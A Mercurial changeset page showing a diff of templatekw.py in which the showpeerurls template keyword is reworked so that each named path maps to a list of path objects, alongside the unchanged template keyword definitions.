##// END OF EJS Templates
urlutil: make `paths` class old list of `path`...
marmoute -
r47958:7531cc34 default
parent child Browse files
Show More
@@ -1,1012 +1,1017 b''
1 1 # templatekw.py - common changeset template keywords
2 2 #
3 3 # Copyright 2005-2009 Olivia Mackall <olivia@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 from .i18n import _
11 11 from .node import (
12 12 hex,
13 13 wdirrev,
14 14 )
15 15
16 16 from . import (
17 17 diffutil,
18 18 encoding,
19 19 error,
20 20 hbisect,
21 21 i18n,
22 22 obsutil,
23 23 patch,
24 24 pycompat,
25 25 registrar,
26 26 scmutil,
27 27 templateutil,
28 28 util,
29 29 )
30 30 from .utils import (
31 31 stringutil,
32 32 urlutil,
33 33 )
34 34
35 35 _hybrid = templateutil.hybrid
36 36 hybriddict = templateutil.hybriddict
37 37 hybridlist = templateutil.hybridlist
38 38 compatdict = templateutil.compatdict
39 39 compatlist = templateutil.compatlist
40 40 _showcompatlist = templateutil._showcompatlist
41 41
42 42
43 43 def getlatesttags(context, mapping, pattern=None):
44 44 '''return date, distance and name for the latest tag of rev'''
45 45 repo = context.resource(mapping, b'repo')
46 46 ctx = context.resource(mapping, b'ctx')
47 47 cache = context.resource(mapping, b'cache')
48 48
49 49 cachename = b'latesttags'
50 50 if pattern is not None:
51 51 cachename += b'-' + pattern
52 52 match = stringutil.stringmatcher(pattern)[2]
53 53 else:
54 54 match = util.always
55 55
56 56 if cachename not in cache:
57 57 # Cache mapping from rev to a tuple with tag date, tag
58 58 # distance and tag name
59 59 cache[cachename] = {-1: (0, 0, [b'null'])}
60 60 latesttags = cache[cachename]
61 61
62 62 rev = ctx.rev()
63 63 todo = [rev]
64 64 while todo:
65 65 rev = todo.pop()
66 66 if rev in latesttags:
67 67 continue
68 68 ctx = repo[rev]
69 69 tags = [
70 70 t
71 71 for t in ctx.tags()
72 72 if (repo.tagtype(t) and repo.tagtype(t) != b'local' and match(t))
73 73 ]
74 74 if tags:
75 75 latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)]
76 76 continue
77 77 try:
78 78 ptags = [latesttags[p.rev()] for p in ctx.parents()]
79 79 if len(ptags) > 1:
80 80 if ptags[0][2] == ptags[1][2]:
81 81 # The tuples are laid out so the right one can be found by
82 82 # comparison in this case.
83 83 pdate, pdist, ptag = max(ptags)
84 84 else:
85 85
86 86 def key(x):
87 87 tag = x[2][0]
88 88 if ctx.rev() is None:
89 89 # only() doesn't support wdir
90 90 prevs = [c.rev() for c in ctx.parents()]
91 91 changes = repo.revs(b'only(%ld, %s)', prevs, tag)
92 92 changessincetag = len(changes) + 1
93 93 else:
94 94 changes = repo.revs(b'only(%d, %s)', ctx.rev(), tag)
95 95 changessincetag = len(changes)
96 96 # Smallest number of changes since tag wins. Date is
97 97 # used as tiebreaker.
98 98 return [-changessincetag, x[0]]
99 99
100 100 pdate, pdist, ptag = max(ptags, key=key)
101 101 else:
102 102 pdate, pdist, ptag = ptags[0]
103 103 except KeyError:
104 104 # Cache miss - recurse
105 105 todo.append(rev)
106 106 todo.extend(p.rev() for p in ctx.parents())
107 107 continue
108 108 latesttags[rev] = pdate, pdist + 1, ptag
109 109 return latesttags[rev]
110 110
111 111
112 112 def getlogcolumns():
113 113 """Return a dict of log column labels"""
114 114 _ = pycompat.identity # temporarily disable gettext
115 115 # i18n: column positioning for "hg log"
116 116 columns = _(
117 117 b'bookmark: %s\n'
118 118 b'branch: %s\n'
119 119 b'changeset: %s\n'
120 120 b'copies: %s\n'
121 121 b'date: %s\n'
122 122 b'extra: %s=%s\n'
123 123 b'files+: %s\n'
124 124 b'files-: %s\n'
125 125 b'files: %s\n'
126 126 b'instability: %s\n'
127 127 b'manifest: %s\n'
128 128 b'obsolete: %s\n'
129 129 b'parent: %s\n'
130 130 b'phase: %s\n'
131 131 b'summary: %s\n'
132 132 b'tag: %s\n'
133 133 b'user: %s\n'
134 134 )
135 135 return dict(
136 136 zip(
137 137 [s.split(b':', 1)[0] for s in columns.splitlines()],
138 138 i18n._(columns).splitlines(True),
139 139 )
140 140 )
141 141
142 142
143 143 # basic internal templates
144 144 _changeidtmpl = b'{rev}:{node|formatnode}'
145 145
146 146 # default templates internally used for rendering of lists
147 147 defaulttempl = {
148 148 b'parent': _changeidtmpl + b' ',
149 149 b'manifest': _changeidtmpl,
150 150 b'file_copy': b'{name} ({source})',
151 151 b'envvar': b'{key}={value}',
152 152 b'extra': b'{key}={value|stringescape}',
153 153 }
154 154 # filecopy is preserved for compatibility reasons
155 155 defaulttempl[b'filecopy'] = defaulttempl[b'file_copy']
156 156
157 157 # keywords are callables (see registrar.templatekeyword for details)
158 158 keywords = {}
159 159 templatekeyword = registrar.templatekeyword(keywords)
160 160
161 161
162 162 @templatekeyword(b'author', requires={b'ctx'})
163 163 def showauthor(context, mapping):
164 164 """Alias for ``{user}``"""
165 165 return showuser(context, mapping)
166 166
167 167
168 168 @templatekeyword(b'bisect', requires={b'repo', b'ctx'})
169 169 def showbisect(context, mapping):
170 170 """String. The changeset bisection status."""
171 171 repo = context.resource(mapping, b'repo')
172 172 ctx = context.resource(mapping, b'ctx')
173 173 return hbisect.label(repo, ctx.node())
174 174
175 175
176 176 @templatekeyword(b'branch', requires={b'ctx'})
177 177 def showbranch(context, mapping):
178 178 """String. The name of the branch on which the changeset was
179 179 committed.
180 180 """
181 181 ctx = context.resource(mapping, b'ctx')
182 182 return ctx.branch()
183 183
184 184
185 185 @templatekeyword(b'branches', requires={b'ctx'})
186 186 def showbranches(context, mapping):
187 187 """List of strings. The name of the branch on which the
188 188 changeset was committed. Will be empty if the branch name was
189 189 default. (DEPRECATED)
190 190 """
191 191 ctx = context.resource(mapping, b'ctx')
192 192 branch = ctx.branch()
193 193 if branch != b'default':
194 194 return compatlist(
195 195 context, mapping, b'branch', [branch], plural=b'branches'
196 196 )
197 197 return compatlist(context, mapping, b'branch', [], plural=b'branches')
198 198
199 199
200 200 @templatekeyword(b'bookmarks', requires={b'repo', b'ctx'})
201 201 def showbookmarks(context, mapping):
202 202 """List of strings. Any bookmarks associated with the
203 203 changeset. Also sets 'active', the name of the active bookmark.
204 204 """
205 205 repo = context.resource(mapping, b'repo')
206 206 ctx = context.resource(mapping, b'ctx')
207 207 bookmarks = ctx.bookmarks()
208 208 active = repo._activebookmark
209 209 makemap = lambda v: {b'bookmark': v, b'active': active, b'current': active}
210 210 f = _showcompatlist(context, mapping, b'bookmark', bookmarks)
211 211 return _hybrid(f, bookmarks, makemap, pycompat.identity)
212 212
213 213
214 214 @templatekeyword(b'children', requires={b'ctx'})
215 215 def showchildren(context, mapping):
216 216 """List of strings. The children of the changeset."""
217 217 ctx = context.resource(mapping, b'ctx')
218 218 childrevs = [b'%d:%s' % (cctx.rev(), cctx) for cctx in ctx.children()]
219 219 return compatlist(
220 220 context, mapping, b'children', childrevs, element=b'child'
221 221 )
222 222
223 223
224 224 # Deprecated, but kept alive for help generation a purpose.
225 225 @templatekeyword(b'currentbookmark', requires={b'repo', b'ctx'})
226 226 def showcurrentbookmark(context, mapping):
227 227 """String. The active bookmark, if it is associated with the changeset.
228 228 (DEPRECATED)"""
229 229 return showactivebookmark(context, mapping)
230 230
231 231
232 232 @templatekeyword(b'activebookmark', requires={b'repo', b'ctx'})
233 233 def showactivebookmark(context, mapping):
234 234 """String. The active bookmark, if it is associated with the changeset."""
235 235 repo = context.resource(mapping, b'repo')
236 236 ctx = context.resource(mapping, b'ctx')
237 237 active = repo._activebookmark
238 238 if active and active in ctx.bookmarks():
239 239 return active
240 240 return b''
241 241
242 242
243 243 @templatekeyword(b'date', requires={b'ctx'})
244 244 def showdate(context, mapping):
245 245 """Date information. The date when the changeset was committed."""
246 246 ctx = context.resource(mapping, b'ctx')
247 247 # the default string format is '<float(unixtime)><tzoffset>' because
248 248 # python-hglib splits date at decimal separator.
249 249 return templateutil.date(ctx.date(), showfmt=b'%d.0%d')
250 250
251 251
252 252 @templatekeyword(b'desc', requires={b'ctx'})
253 253 def showdescription(context, mapping):
254 254 """String. The text of the changeset description."""
255 255 ctx = context.resource(mapping, b'ctx')
256 256 s = ctx.description()
257 257 if isinstance(s, encoding.localstr):
258 258 # try hard to preserve utf-8 bytes
259 259 return encoding.tolocal(encoding.fromlocal(s).strip())
260 260 elif isinstance(s, encoding.safelocalstr):
261 261 return encoding.safelocalstr(s.strip())
262 262 else:
263 263 return s.strip()
264 264
265 265
266 266 @templatekeyword(b'diffstat', requires={b'ui', b'ctx'})
267 267 def showdiffstat(context, mapping):
268 268 """String. Statistics of changes with the following format:
269 269 "modified files: +added/-removed lines"
270 270 """
271 271 ui = context.resource(mapping, b'ui')
272 272 ctx = context.resource(mapping, b'ctx')
273 273 diffopts = diffutil.diffallopts(ui, {b'noprefix': False})
274 274 diff = ctx.diff(opts=diffopts)
275 275 stats = patch.diffstatdata(util.iterlines(diff))
276 276 maxname, maxtotal, adds, removes, binary = patch.diffstatsum(stats)
277 277 return b'%d: +%d/-%d' % (len(stats), adds, removes)
278 278
279 279
280 280 @templatekeyword(b'envvars', requires={b'ui'})
281 281 def showenvvars(context, mapping):
282 282 """A dictionary of environment variables. (EXPERIMENTAL)"""
283 283 ui = context.resource(mapping, b'ui')
284 284 env = ui.exportableenviron()
285 285 env = util.sortdict((k, env[k]) for k in sorted(env))
286 286 return compatdict(context, mapping, b'envvar', env, plural=b'envvars')
287 287
288 288
289 289 @templatekeyword(b'extras', requires={b'ctx'})
290 290 def showextras(context, mapping):
291 291 """List of dicts with key, value entries of the 'extras'
292 292 field of this changeset."""
293 293 ctx = context.resource(mapping, b'ctx')
294 294 extras = ctx.extra()
295 295 extras = util.sortdict((k, extras[k]) for k in sorted(extras))
296 296 makemap = lambda k: {b'key': k, b'value': extras[k]}
297 297 c = [makemap(k) for k in extras]
298 298 f = _showcompatlist(context, mapping, b'extra', c, plural=b'extras')
299 299 return _hybrid(
300 300 f,
301 301 extras,
302 302 makemap,
303 303 lambda k: b'%s=%s' % (k, stringutil.escapestr(extras[k])),
304 304 )
305 305
306 306
307 307 def _getfilestatus(context, mapping, listall=False):
308 308 ctx = context.resource(mapping, b'ctx')
309 309 revcache = context.resource(mapping, b'revcache')
310 310 if b'filestatus' not in revcache or revcache[b'filestatusall'] < listall:
311 311 stat = ctx.p1().status(
312 312 ctx, listignored=listall, listclean=listall, listunknown=listall
313 313 )
314 314 revcache[b'filestatus'] = stat
315 315 revcache[b'filestatusall'] = listall
316 316 return revcache[b'filestatus']
317 317
318 318
319 319 def _getfilestatusmap(context, mapping, listall=False):
320 320 revcache = context.resource(mapping, b'revcache')
321 321 if b'filestatusmap' not in revcache or revcache[b'filestatusall'] < listall:
322 322 stat = _getfilestatus(context, mapping, listall=listall)
323 323 revcache[b'filestatusmap'] = statmap = {}
324 324 for char, files in zip(pycompat.iterbytestr(b'MAR!?IC'), stat):
325 325 statmap.update((f, char) for f in files)
326 326 return revcache[b'filestatusmap'] # {path: statchar}
327 327
328 328
329 329 @templatekeyword(
330 330 b'file_copies', requires={b'repo', b'ctx', b'cache', b'revcache'}
331 331 )
332 332 def showfilecopies(context, mapping):
333 333 """List of strings. Files copied in this changeset with
334 334 their sources.
335 335 """
336 336 repo = context.resource(mapping, b'repo')
337 337 ctx = context.resource(mapping, b'ctx')
338 338 cache = context.resource(mapping, b'cache')
339 339 copies = context.resource(mapping, b'revcache').get(b'copies')
340 340 if copies is None:
341 341 if b'getcopies' not in cache:
342 342 cache[b'getcopies'] = scmutil.getcopiesfn(repo)
343 343 getcopies = cache[b'getcopies']
344 344 copies = getcopies(ctx)
345 345 return templateutil.compatfilecopiesdict(
346 346 context, mapping, b'file_copy', copies
347 347 )
348 348
349 349
350 350 # showfilecopiesswitch() displays file copies only if copy records are
351 351 # provided before calling the templater, usually with a --copies
352 352 # command line switch.
353 353 @templatekeyword(b'file_copies_switch', requires={b'revcache'})
354 354 def showfilecopiesswitch(context, mapping):
355 355 """List of strings. Like "file_copies" but displayed
356 356 only if the --copied switch is set.
357 357 """
358 358 copies = context.resource(mapping, b'revcache').get(b'copies') or []
359 359 return templateutil.compatfilecopiesdict(
360 360 context, mapping, b'file_copy', copies
361 361 )
362 362
363 363
364 364 @templatekeyword(b'file_adds', requires={b'ctx', b'revcache'})
365 365 def showfileadds(context, mapping):
366 366 """List of strings. Files added by this changeset."""
367 367 ctx = context.resource(mapping, b'ctx')
368 368 return templateutil.compatfileslist(
369 369 context, mapping, b'file_add', ctx.filesadded()
370 370 )
371 371
372 372
373 373 @templatekeyword(b'file_dels', requires={b'ctx', b'revcache'})
374 374 def showfiledels(context, mapping):
375 375 """List of strings. Files removed by this changeset."""
376 376 ctx = context.resource(mapping, b'ctx')
377 377 return templateutil.compatfileslist(
378 378 context, mapping, b'file_del', ctx.filesremoved()
379 379 )
380 380
381 381
382 382 @templatekeyword(b'file_mods', requires={b'ctx', b'revcache'})
383 383 def showfilemods(context, mapping):
384 384 """List of strings. Files modified by this changeset."""
385 385 ctx = context.resource(mapping, b'ctx')
386 386 return templateutil.compatfileslist(
387 387 context, mapping, b'file_mod', ctx.filesmodified()
388 388 )
389 389
390 390
391 391 @templatekeyword(b'files', requires={b'ctx'})
392 392 def showfiles(context, mapping):
393 393 """List of strings. All files modified, added, or removed by this
394 394 changeset.
395 395 """
396 396 ctx = context.resource(mapping, b'ctx')
397 397 return templateutil.compatfileslist(context, mapping, b'file', ctx.files())
398 398
399 399
400 400 @templatekeyword(b'graphnode', requires={b'repo', b'ctx', b'cache'})
401 401 def showgraphnode(context, mapping):
402 402 """String. The character representing the changeset node in an ASCII
403 403 revision graph."""
404 404 repo = context.resource(mapping, b'repo')
405 405 ctx = context.resource(mapping, b'ctx')
406 406 cache = context.resource(mapping, b'cache')
407 407 return getgraphnode(repo, ctx, cache)
408 408
409 409
410 410 def getgraphnode(repo, ctx, cache):
411 411 return getgraphnodecurrent(repo, ctx, cache) or getgraphnodesymbol(ctx)
412 412
413 413
414 414 def getgraphnodecurrent(repo, ctx, cache):
415 415 wpnodes = repo.dirstate.parents()
416 416 if wpnodes[1] == repo.nullid:
417 417 wpnodes = wpnodes[:1]
418 418 if ctx.node() in wpnodes:
419 419 return b'@'
420 420 else:
421 421 merge_nodes = cache.get(b'merge_nodes')
422 422 if merge_nodes is None:
423 423 from . import mergestate as mergestatemod
424 424
425 425 mergestate = mergestatemod.mergestate.read(repo)
426 426 if mergestate.unresolvedcount():
427 427 merge_nodes = (mergestate.local, mergestate.other)
428 428 else:
429 429 merge_nodes = ()
430 430 cache[b'merge_nodes'] = merge_nodes
431 431
432 432 if ctx.node() in merge_nodes:
433 433 return b'%'
434 434 return b''
435 435
436 436
437 437 def getgraphnodesymbol(ctx):
438 438 if ctx.obsolete():
439 439 return b'x'
440 440 elif ctx.isunstable():
441 441 return b'*'
442 442 elif ctx.closesbranch():
443 443 return b'_'
444 444 else:
445 445 return b'o'
446 446
447 447
448 448 @templatekeyword(b'graphwidth', requires=())
449 449 def showgraphwidth(context, mapping):
450 450 """Integer. The width of the graph drawn by 'log --graph' or zero."""
451 451 # just hosts documentation; should be overridden by template mapping
452 452 return 0
453 453
454 454
455 455 @templatekeyword(b'index', requires=())
456 456 def showindex(context, mapping):
457 457 """Integer. The current iteration of the loop. (0 indexed)"""
458 458 # just hosts documentation; should be overridden by template mapping
459 459 raise error.Abort(_(b"can't use index in this context"))
460 460
461 461
462 462 @templatekeyword(b'latesttag', requires={b'repo', b'ctx', b'cache'})
463 463 def showlatesttag(context, mapping):
464 464 """List of strings. The global tags on the most recent globally
465 465 tagged ancestor of this changeset. If no such tags exist, the list
466 466 consists of the single string "null".
467 467 """
468 468 return showlatesttags(context, mapping, None)
469 469
470 470
471 471 def showlatesttags(context, mapping, pattern):
472 472 """helper method for the latesttag keyword and function"""
473 473 latesttags = getlatesttags(context, mapping, pattern)
474 474
475 475 # latesttag[0] is an implementation detail for sorting csets on different
476 476 # branches in a stable manner- it is the date the tagged cset was created,
477 477 # not the date the tag was created. Therefore it isn't made visible here.
478 478 makemap = lambda v: {
479 479 b'changes': _showchangessincetag,
480 480 b'distance': latesttags[1],
481 481 b'latesttag': v, # BC with {latesttag % '{latesttag}'}
482 482 b'tag': v,
483 483 }
484 484
485 485 tags = latesttags[2]
486 486 f = _showcompatlist(context, mapping, b'latesttag', tags, separator=b':')
487 487 return _hybrid(f, tags, makemap, pycompat.identity)
488 488
489 489
490 490 @templatekeyword(b'latesttagdistance', requires={b'repo', b'ctx', b'cache'})
491 491 def showlatesttagdistance(context, mapping):
492 492 """Integer. Longest path to the latest tag."""
493 493 return getlatesttags(context, mapping)[1]
494 494
495 495
496 496 @templatekeyword(b'changessincelatesttag', requires={b'repo', b'ctx', b'cache'})
497 497 def showchangessincelatesttag(context, mapping):
498 498 """Integer. All ancestors not in the latest tag."""
499 499 tag = getlatesttags(context, mapping)[2][0]
500 500 mapping = context.overlaymap(mapping, {b'tag': tag})
501 501 return _showchangessincetag(context, mapping)
502 502
503 503
504 504 def _showchangessincetag(context, mapping):
505 505 repo = context.resource(mapping, b'repo')
506 506 ctx = context.resource(mapping, b'ctx')
507 507 offset = 0
508 508 revs = [ctx.rev()]
509 509 tag = context.symbol(mapping, b'tag')
510 510
511 511 # The only() revset doesn't currently support wdir()
512 512 if ctx.rev() is None:
513 513 offset = 1
514 514 revs = [p.rev() for p in ctx.parents()]
515 515
516 516 return len(repo.revs(b'only(%ld, %s)', revs, tag)) + offset
517 517
518 518
519 519 # teach templater latesttags.changes is switched to (context, mapping) API
520 520 _showchangessincetag._requires = {b'repo', b'ctx'}
521 521
522 522
523 523 @templatekeyword(b'manifest', requires={b'repo', b'ctx'})
524 524 def showmanifest(context, mapping):
525 525 repo = context.resource(mapping, b'repo')
526 526 ctx = context.resource(mapping, b'ctx')
527 527 mnode = ctx.manifestnode()
528 528 if mnode is None:
529 529 mnode = repo.nodeconstants.wdirid
530 530 mrev = wdirrev
531 531 mhex = repo.nodeconstants.wdirhex
532 532 else:
533 533 mrev = repo.manifestlog.rev(mnode)
534 534 mhex = hex(mnode)
535 535 mapping = context.overlaymap(mapping, {b'rev': mrev, b'node': mhex})
536 536 f = context.process(b'manifest', mapping)
537 537 return templateutil.hybriditem(
538 538 f, None, f, lambda x: {b'rev': mrev, b'node': mhex}
539 539 )
540 540
541 541
542 542 @templatekeyword(b'obsfate', requires={b'ui', b'repo', b'ctx'})
543 543 def showobsfate(context, mapping):
544 544 # this function returns a list containing pre-formatted obsfate strings.
545 545 #
546 546 # This function will be replaced by templates fragments when we will have
547 547 # the verbosity templatekw available.
548 548 succsandmarkers = showsuccsandmarkers(context, mapping)
549 549
550 550 ui = context.resource(mapping, b'ui')
551 551 repo = context.resource(mapping, b'repo')
552 552 values = []
553 553
554 554 for x in succsandmarkers.tovalue(context, mapping):
555 555 v = obsutil.obsfateprinter(
556 556 ui, repo, x[b'successors'], x[b'markers'], scmutil.formatchangeid
557 557 )
558 558 values.append(v)
559 559
560 560 return compatlist(context, mapping, b"fate", values)
561 561
562 562
563 563 def shownames(context, mapping, namespace):
564 564 """helper method to generate a template keyword for a namespace"""
565 565 repo = context.resource(mapping, b'repo')
566 566 ctx = context.resource(mapping, b'ctx')
567 567 ns = repo.names.get(namespace)
568 568 if ns is None:
569 569 # namespaces.addnamespace() registers new template keyword, but
570 570 # the registered namespace might not exist in the current repo.
571 571 return
572 572 names = ns.names(repo, ctx.node())
573 573 return compatlist(
574 574 context, mapping, ns.templatename, names, plural=namespace
575 575 )
576 576
577 577
578 578 @templatekeyword(b'namespaces', requires={b'repo', b'ctx'})
579 579 def shownamespaces(context, mapping):
580 580 """Dict of lists. Names attached to this changeset per
581 581 namespace."""
582 582 repo = context.resource(mapping, b'repo')
583 583 ctx = context.resource(mapping, b'ctx')
584 584
585 585 namespaces = util.sortdict()
586 586
587 587 def makensmapfn(ns):
588 588 # 'name' for iterating over namespaces, templatename for local reference
589 589 return lambda v: {b'name': v, ns.templatename: v}
590 590
591 591 for k, ns in pycompat.iteritems(repo.names):
592 592 names = ns.names(repo, ctx.node())
593 593 f = _showcompatlist(context, mapping, b'name', names)
594 594 namespaces[k] = _hybrid(f, names, makensmapfn(ns), pycompat.identity)
595 595
596 596 f = _showcompatlist(context, mapping, b'namespace', list(namespaces))
597 597
598 598 def makemap(ns):
599 599 return {
600 600 b'namespace': ns,
601 601 b'names': namespaces[ns],
602 602 b'builtin': repo.names[ns].builtin,
603 603 b'colorname': repo.names[ns].colorname,
604 604 }
605 605
606 606 return _hybrid(f, namespaces, makemap, pycompat.identity)
607 607
608 608
609 609 @templatekeyword(b'negrev', requires={b'repo', b'ctx'})
610 610 def shownegrev(context, mapping):
611 611 """Integer. The repository-local changeset negative revision number,
612 612 which counts in the opposite direction."""
613 613 ctx = context.resource(mapping, b'ctx')
614 614 rev = ctx.rev()
615 615 if rev is None or rev < 0: # wdir() or nullrev?
616 616 return None
617 617 repo = context.resource(mapping, b'repo')
618 618 return rev - len(repo)
619 619
620 620
621 621 @templatekeyword(b'node', requires={b'ctx'})
622 622 def shownode(context, mapping):
623 623 """String. The changeset identification hash, as a 40 hexadecimal
624 624 digit string.
625 625 """
626 626 ctx = context.resource(mapping, b'ctx')
627 627 return ctx.hex()
628 628
629 629
630 630 @templatekeyword(b'obsolete', requires={b'ctx'})
631 631 def showobsolete(context, mapping):
632 632 """String. Whether the changeset is obsolete. (EXPERIMENTAL)"""
633 633 ctx = context.resource(mapping, b'ctx')
634 634 if ctx.obsolete():
635 635 return b'obsolete'
636 636 return b''
637 637
638 638
639 639 @templatekeyword(b'onelinesummary', requires={b'ui', b'ctx'})
640 640 def showonelinesummary(context, mapping):
641 641 """String. A one-line summary for the ctx (not including trailing newline).
642 642 The default template be overridden in command-templates.oneline-summary."""
643 643 # Avoid cycle:
644 644 # mercurial.cmdutil -> mercurial.templatekw -> mercurial.cmdutil
645 645 from . import cmdutil
646 646
647 647 ui = context.resource(mapping, b'ui')
648 648 ctx = context.resource(mapping, b'ctx')
649 649 return cmdutil.format_changeset_summary(ui, ctx)
650 650
651 651
652 652 @templatekeyword(b'path', requires={b'fctx'})
653 653 def showpath(context, mapping):
654 654 """String. Repository-absolute path of the current file. (EXPERIMENTAL)"""
655 655 fctx = context.resource(mapping, b'fctx')
656 656 return fctx.path()
657 657
658 658
659 659 @templatekeyword(b'peerurls', requires={b'repo'})
660 660 def showpeerurls(context, mapping):
661 661 """A dictionary of repository locations defined in the [paths] section
662 662 of your configuration file."""
663 663 repo = context.resource(mapping, b'repo')
664 664 # see commands.paths() for naming of dictionary keys
665 665 paths = repo.ui.paths
666 666 all_paths = urlutil.list_paths(repo.ui)
667 667 urls = util.sortdict((k, p.rawloc) for k, p in all_paths)
668 668
669 669 def makemap(k):
670 p = paths[k]
671 d = {b'name': k, b'url': p.rawloc}
672 sub_opts = util.sortdict(sorted(pycompat.iteritems(p.suboptions)))
673 d.update(sub_opts)
670 ps = paths[k]
671 d = {b'name': k}
672 if len(ps) == 1:
673 d[b'url'] = ps[0].rawloc
674 sub_opts = pycompat.iteritems(ps[0].suboptions)
675 sub_opts = util.sortdict(sorted(sub_opts))
676 d.update(sub_opts)
674 677 path_dict = util.sortdict()
675 path_dict[b'url'] = p.rawloc
676 path_dict.update(sub_opts)
677 d[b'urls'] = [path_dict]
678 for p in ps:
679 sub_opts = util.sortdict(sorted(pycompat.iteritems(p.suboptions)))
680 path_dict[b'url'] = p.rawloc
681 path_dict.update(sub_opts)
682 d[b'urls'] = [path_dict]
678 683 return d
679 684
680 685 def format_one(k):
681 686 return b'%s=%s' % (k, urls[k])
682 687
683 688 return _hybrid(None, urls, makemap, format_one)
684 689
685 690
686 691 @templatekeyword(b"predecessors", requires={b'repo', b'ctx'})
687 692 def showpredecessors(context, mapping):
688 693 """Returns the list of the closest visible predecessors. (EXPERIMENTAL)"""
689 694 repo = context.resource(mapping, b'repo')
690 695 ctx = context.resource(mapping, b'ctx')
691 696 predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
692 697 predecessors = pycompat.maplist(hex, predecessors)
693 698
694 699 return _hybrid(
695 700 None,
696 701 predecessors,
697 702 lambda x: {b'ctx': repo[x]},
698 703 lambda x: scmutil.formatchangeid(repo[x]),
699 704 )
700 705
701 706
702 707 @templatekeyword(b'reporoot', requires={b'repo'})
703 708 def showreporoot(context, mapping):
704 709 """String. The root directory of the current repository."""
705 710 repo = context.resource(mapping, b'repo')
706 711 return repo.root
707 712
708 713
709 714 @templatekeyword(b'size', requires={b'fctx'})
710 715 def showsize(context, mapping):
711 716 """Integer. Size of the current file in bytes. (EXPERIMENTAL)"""
712 717 fctx = context.resource(mapping, b'fctx')
713 718 return fctx.size()
714 719
715 720
716 721 # requires 'fctx' to denote {status} depends on (ctx, path) pair
717 722 @templatekeyword(b'status', requires={b'ctx', b'fctx', b'revcache'})
718 723 def showstatus(context, mapping):
719 724 """String. Status code of the current file. (EXPERIMENTAL)"""
720 725 path = templateutil.runsymbol(context, mapping, b'path')
721 726 path = templateutil.stringify(context, mapping, path)
722 727 if not path:
723 728 return
724 729 statmap = _getfilestatusmap(context, mapping)
725 730 if path not in statmap:
726 731 statmap = _getfilestatusmap(context, mapping, listall=True)
727 732 return statmap.get(path)
728 733
729 734
730 735 @templatekeyword(b"successorssets", requires={b'repo', b'ctx'})
731 736 def showsuccessorssets(context, mapping):
732 737 """Returns a string of sets of successors for a changectx. Format used
733 738 is: [ctx1, ctx2], [ctx3] if ctx has been split into ctx1 and ctx2
734 739 while also diverged into ctx3. (EXPERIMENTAL)"""
735 740 repo = context.resource(mapping, b'repo')
736 741 ctx = context.resource(mapping, b'ctx')
737 742 data = []
738 743
739 744 if ctx.obsolete():
740 745 ssets = obsutil.successorssets(repo, ctx.node(), closest=True)
741 746 ssets = [[hex(n) for n in ss] for ss in ssets]
742 747
743 748 for ss in ssets:
744 749 h = _hybrid(
745 750 None,
746 751 ss,
747 752 lambda x: {b'ctx': repo[x]},
748 753 lambda x: scmutil.formatchangeid(repo[x]),
749 754 )
750 755 data.append(h)
751 756
752 757 # Format the successorssets
753 758 def render(d):
754 759 return templateutil.stringify(context, mapping, d)
755 760
756 761 def gen(data):
757 762 yield b"; ".join(render(d) for d in data)
758 763
759 764 return _hybrid(
760 765 gen(data), data, lambda x: {b'successorset': x}, pycompat.identity
761 766 )
762 767
763 768
764 769 @templatekeyword(b"succsandmarkers", requires={b'repo', b'ctx'})
765 770 def showsuccsandmarkers(context, mapping):
766 771 """Returns a list of dict for each final successor of ctx. The dict
767 772 contains successors node id in "successors" keys and the list of
768 773 obs-markers from ctx to the set of successors in "markers".
769 774 (EXPERIMENTAL)
770 775 """
771 776 repo = context.resource(mapping, b'repo')
772 777 ctx = context.resource(mapping, b'ctx')
773 778
774 779 values = obsutil.successorsandmarkers(repo, ctx)
775 780
776 781 if values is None:
777 782 values = []
778 783
779 784 # Format successors and markers to avoid exposing binary to templates
780 785 data = []
781 786 for i in values:
782 787 # Format successors
783 788 successors = i[b'successors']
784 789
785 790 successors = [hex(n) for n in successors]
786 791 successors = _hybrid(
787 792 None,
788 793 successors,
789 794 lambda x: {b'ctx': repo[x]},
790 795 lambda x: scmutil.formatchangeid(repo[x]),
791 796 )
792 797
793 798 # Format markers
794 799 finalmarkers = []
795 800 for m in i[b'markers']:
796 801 hexprec = hex(m[0])
797 802 hexsucs = tuple(hex(n) for n in m[1])
798 803 hexparents = None
799 804 if m[5] is not None:
800 805 hexparents = tuple(hex(n) for n in m[5])
801 806 newmarker = (hexprec, hexsucs) + m[2:5] + (hexparents,) + m[6:]
802 807 finalmarkers.append(newmarker)
803 808
804 809 data.append({b'successors': successors, b'markers': finalmarkers})
805 810
806 811 return templateutil.mappinglist(data)
807 812
808 813
809 814 @templatekeyword(b'p1', requires={b'ctx'})
810 815 def showp1(context, mapping):
811 816 """Changeset. The changeset's first parent. ``{p1.rev}`` for the revision
812 817 number, and ``{p1.node}`` for the identification hash."""
813 818 ctx = context.resource(mapping, b'ctx')
814 819 return templateutil.mappingdict({b'ctx': ctx.p1()}, tmpl=_changeidtmpl)
815 820
816 821
817 822 @templatekeyword(b'p2', requires={b'ctx'})
818 823 def showp2(context, mapping):
819 824 """Changeset. The changeset's second parent. ``{p2.rev}`` for the revision
820 825 number, and ``{p2.node}`` for the identification hash."""
821 826 ctx = context.resource(mapping, b'ctx')
822 827 return templateutil.mappingdict({b'ctx': ctx.p2()}, tmpl=_changeidtmpl)
823 828
824 829
825 830 @templatekeyword(b'p1rev', requires={b'ctx'})
826 831 def showp1rev(context, mapping):
827 832 """Integer. The repository-local revision number of the changeset's
828 833 first parent, or -1 if the changeset has no parents. (DEPRECATED)"""
829 834 ctx = context.resource(mapping, b'ctx')
830 835 return ctx.p1().rev()
831 836
832 837
833 838 @templatekeyword(b'p2rev', requires={b'ctx'})
834 839 def showp2rev(context, mapping):
835 840 """Integer. The repository-local revision number of the changeset's
836 841 second parent, or -1 if the changeset has no second parent. (DEPRECATED)"""
837 842 ctx = context.resource(mapping, b'ctx')
838 843 return ctx.p2().rev()
839 844
840 845
841 846 @templatekeyword(b'p1node', requires={b'ctx'})
842 847 def showp1node(context, mapping):
843 848 """String. The identification hash of the changeset's first parent,
844 849 as a 40 digit hexadecimal string. If the changeset has no parents, all
845 850 digits are 0. (DEPRECATED)"""
846 851 ctx = context.resource(mapping, b'ctx')
847 852 return ctx.p1().hex()
848 853
849 854
850 855 @templatekeyword(b'p2node', requires={b'ctx'})
851 856 def showp2node(context, mapping):
852 857 """String. The identification hash of the changeset's second
